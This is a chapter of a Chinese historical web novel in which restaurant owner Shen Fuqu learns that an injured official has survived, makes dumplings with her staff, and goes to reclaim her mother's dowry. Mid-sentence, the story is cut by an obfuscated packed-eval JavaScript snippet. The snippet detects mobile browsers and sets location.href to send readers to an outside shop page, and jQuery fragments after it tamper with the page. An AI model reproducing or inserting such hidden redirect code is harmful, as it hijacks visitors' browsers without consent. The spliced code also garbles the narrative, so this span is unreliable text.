沈芙蕖将涌上眼眶的湿意逼了回去，天子脚下，重臣遇刺，官家下旨封锁消息，知情者统一口径，严禁议论。纵使沈芙蕖心中千言万语，也只是对着芙蓉盏的伙计们摇摇头：


    “我不过是想我娘了。”


    程虞也红了眼睛，她自小虽被遗弃，却得花婆婆悉心抚养，尝尽人间慈爱。此刻听着沈芙蕖这话，想到她幼年丧母，父亲续弦，在家中想必步步维艰，顿时觉得她这十几年来，心里不知藏了多少说不出的委屈。


    见此，芙蓉盏的伙计们交换着眼色，都纷纷留了下来，美其名曰“灶火不能熄”。


    “掌柜的，你尝尝，这花生炒得香得很！”大家围着火炉，剥着花生瓜子，喝着甜茶，漫无边际地闲聊，说说街坊趣闻，聊聊来年想把芙蓉盏的哪道菜做得更好。


    “等开了春，门口的摊子也要继续支起来，我还想卖饮子和糕饼，肯定好卖！”程虞雄心勃勃。


    “我看不如多添两道辣口的菜式，汴京人越来越喜辣了。”张澈提出建议。


    “咱们还得把送餐的路线再优化改进，有两次送晚了，食客不大高兴……”大小双也开始认真讨论。


    沈芙蕖安静地听着，不时往炉子里添一两块炭。


    见沈芙蕖对芙蓉盏的营生都了无兴趣，几人交换了眼神，又张罗着一起打叶子牌。


    沈芙蕖心猿意马，又不忍拂去大家的好意，只好勉强凝心聚神打了几牌。那些十万贯、万贯的字样，看着看着就模糊起来，好像变成了太医方子上难辨的草药名，在眼前晃来晃去。


    “沈姐姐，该你出牌了！”程虞见她久久不动，忍不住出声提醒道。


    沈芙蕖猛地回神，仓促地应了一声，随手从牌堆里抽了一张丢出去，甚至没看清是什么。


    “哎呀！掌柜的，你这牌打得好啊！”大小双同时惊呼。


    沈芙蕖低头一看，原来自己打出的是一张关键的索子，白白让下家的大双凑成了好牌。


    “掌柜的平时都算牌的，今天是故意让我的吧！”大双喜滋滋道。


    又一局结束，沈芙蕖面前的筹码已输掉大半。她看着所剩无几的筹码，忽然松了一口气，终于给自己找到了一个合理的退出理由。


    “看来今日手气不佳。”她放下牌，努力让语气显得轻松，“你们玩吧，我去看看灶上的汤。”


    沈芙蕖在灶台盯着火，火苗向上窜起，绽开明亮的橙黄色光芒，将灶膛内壁照得忽明忽暗。她的眼前的情景也忽闪忽现，一会是准备春宴时大理寺缠缠绵绵的细雨，一会是下棋时捉摸不定的走位，在窗外绚烂的烟花，还有模模糊糊的侧脸……


    如此，熬到了晚上，陆府终于遣来了一位举止稳重的丫鬟，沈芙蕖连忙将她拉至一边问询。


    “沈娘子，奴婢奉我家娘子之命，特来告知。大人……已于半个时辰前醒转，神识已清，太医说，最险的关头算是过去了。”


    沈芙蕖怔住，用了十几秒消化这简单的几句话。随即，那紧绷了多时的肩线，几不可察地松弛下来，一根快要绷断的弦，终于得到了些许缓和的余地。


    她没有惊呼，也没有落泪，回头看了看正在玩得不亦乐乎的伙计们，极轻极缓地吁出了一口气，对着传话的丫鬟郑重回了一礼：“有劳姑娘特意前来告知。”


    沈芙蕖的脚步终于轻快了起来，她从前厅绕到后堂，后堂钻到了厢房内，再从自己房内回到后堂。


    最后，从后堂走出，捧着一叠刚洗净晾干的蒸布，将蒸布放好，转身又进了灶间。再出来时，手里端着一个大大的粗陶盆，里面是调好的荠菜猪肉馅儿。


    碧绿的荠菜碎、肥瘦相间的粉白色猪肉末，还有金黄的炒蛋碎，淋了香油，散发着诱人的光泽。


    “你们玩好了没？过来包角子吧。”她自然地将大家聚拢到了一起。


    “来了来了！这就来！”


    见沈芙蕖主动相邀，众人哪有不答应的，一会儿便拼起了一条长桌。


    程虞利索地系上了围裙，搬来了案板和擀面杖。大双去舀了面，在另一个大盆里和面，他力气大，面团很快变得光滑而富有弹性，然后将揉好的面团搓成长条，熟练地揪成大小均匀的小剂子。


    程虞负责擀面，手腕灵巧地转动，小圆饼在她手下飞快地旋转，伴随着有节奏的“嗒嗒”轻响，很快就变成了一张中间厚边缘薄的面皮。


    沈芙蕖拿起一张皮，摊在掌心，用竹片抹上适量的馅料，对折后从一端开始，细细地捏出均匀细密的花褶，精致地立在竹筐里。


    “沈姐姐，你可真厉害，角子包得也这么漂亮，你看看大双，馅儿全部漏出来了，看着真埋汰。”程虞衷心夸赞道。


    “就是啊，咱们掌柜的，就没有在灶上难住的事儿！”小双立刻帮腔。


    大双辩解道：“我在里头放了一枚铜钱，所以馅儿才冒出来的。”


    沈芙蕖听着他们拌嘴，手上动作不停，又一只玲珑的角子在她掌心成型。


    装满清水的锅开始沸腾起来。


    “水开了，下锅喽！”程虞端起一竹匾角子，走到锅边，用手小心地沿着锅边将角子一个个滑入滚水中。


    张澈拿起一把宽底的铜勺，沿着锅边轻轻推动，免得粘锅。


    待水再次沸腾，角子们都浮上水面，程虞舀起一瓢凉水，顺着锅边缓缓倒了进去。滚水瞬间平息，但锅底的火依旧旺盛。如此加了三次凉水，每一次角子都在短暂的沉寂后再次沸腾起来，面皮在冷热交替间变得更加柔韧，馅料也在内部被彻底焖熟。


    在这等待的间隙，大小双摆好了碗筷，在一个个大碗里调好了底料。香醋、酱油、几滴香油，还有几把芫荽。


    大家围坐在一起，也顾不上多说话，夹起一个，蘸一下碗里的料汁，吹两口气，便塞进嘴口中。


    “唔！真好吃！”大双咬了一口，烫得直呵气，却舍不得吐出来，含混地称赞。荠菜的清香、猪肉的鲜美、面皮的柔韧，混合着酸香的料汁，在口中完美融合。


    “注意点吃相，我一个还没吃完，你倒是吞下去五个。”程虞瞪他。


    在大伙儿吃得大汗淋漓时，沈芙蕖突然轻描淡写道：“今晚都吃得饱饱的，明天，带你们干件大事。”


    “什么事，掌柜的你说，是杀鸡还是宰羊？”大双又给自己盛了碗面汤，也不顾烫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16426410|179799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘴，“咕嘟咕嘟”几口就灌了下去。


    “抄家。”沈芙蕖说。


    “抄……抄家？！”


    “也不算抄家，明日，我们去沈宅。不是去闹事，是去拿回本就属于我的东西。”沈芙蕖微微一笑：“沈玉裁身陷囹圄，犯了是十恶不赦的重罪。此时不拿，更待何时。”


    众人闻言，个个义愤填膺。程虞更是比谁都激动，她是亲眼见过沈芙蕖当初模样的。


    那时沈芙蕖被从沈宅扔出来，浑身滚烫，气息微弱得像要断了。


    草市坊的邻居们看不下去，凑钱请来大夫，撩开衣衫一看，程虞都倒抽一口冷气，腿根、胸前这些看不见的地方，全是青紫交错的掐痕，旧伤叠着新伤。


    “这是往死里作践人啊！”老郎中连连摇头，“饿了好几天，又烧得这么厉害……能不能活，看她自己的造化了。”


    那时沈芙蕖连哭的力气都没有，只能蜷在破席上发抖。程虞一直觉得，是花婆婆一勺勺米汤喂着，是草市坊的婶子们轮流守着，才从阎王爷手里抢回这条命。


    “沈玉裁占了这么多年！早该拿回来了！”大双忍不住挥了挥拳头。


    “掌柜的放心！保证一件不少！”张澈重重点头。


    “对！给姐姐把东西都抢回来！”程虞也激动得脸颊绯红。


    沈芙蕖道：“那好，他们当年如何将我赶出来，明日，我便如何风风光光地走进去，拿回我应得的。”


    第二日一早，一行人来到沈宅门外。


    沈芙蕖目光扫过众人，说道：“记住我们今日的目的，只拿回单子上的东西。一针一线，不多取，也不少拿。我们不是去劫掠，是去拿回本就属于我们的东西，要堂堂正正！”


    “是！掌柜的！”众人齐声应道，气势如虹。


    沈芙蕖深吸一口气，上前，并未叩门，而是用力一推。大门竟未上闩，缓缓洞开，露出内部萧瑟的庭院。


    她率先迈过门槛，步伐稳定，程虞、张澈等人紧随其后，再后面是陆府健壮的家丁。这阵仗，立刻惊动了宅内仅剩的几个老弱仆役，他们聚拢过来，面露惊恐，却不敢阻拦。


    “沈娘子……”几个老仆都认出了沈芙蕖，小声喊了一声。


    他们都是受过原配夫人恩惠的。


    可当初她被赶出家门，这些留下的仆役们没有一个站出来，甚至在沈芙蕖苦苦哀求的时候，他们都选择视而不见，所以此刻面对沈芙蕖，表情都有些讪讪的。


    沈芙蕖想，她又如何能埋怨他们呢？难道要指望他们舍了饭碗来护一个失势的旧主？既不能怨恨，也不必原谅。


    “吴婶、徐伯，别来无恙。”


    沈芙蕖站定，目光扫过这些熟悉又陌生的面孔，朗声开口，声音在空旷的宅院里回荡：“我乃沈家原配夫人汪氏之女，沈芙蕖！今日前来，非为寻衅，只为依《刑统》，取回先母嫁妆！此有当年嫁妆单子为凭！”


    她展开那张泛黄的清单，继续道：“街坊四邻皆可为证，我只取单上所列之物，其余产业，分文不碰！若有异议，可去开封府理论！”


    仆役们面面相觑，无人敢出声，更无人敢上前。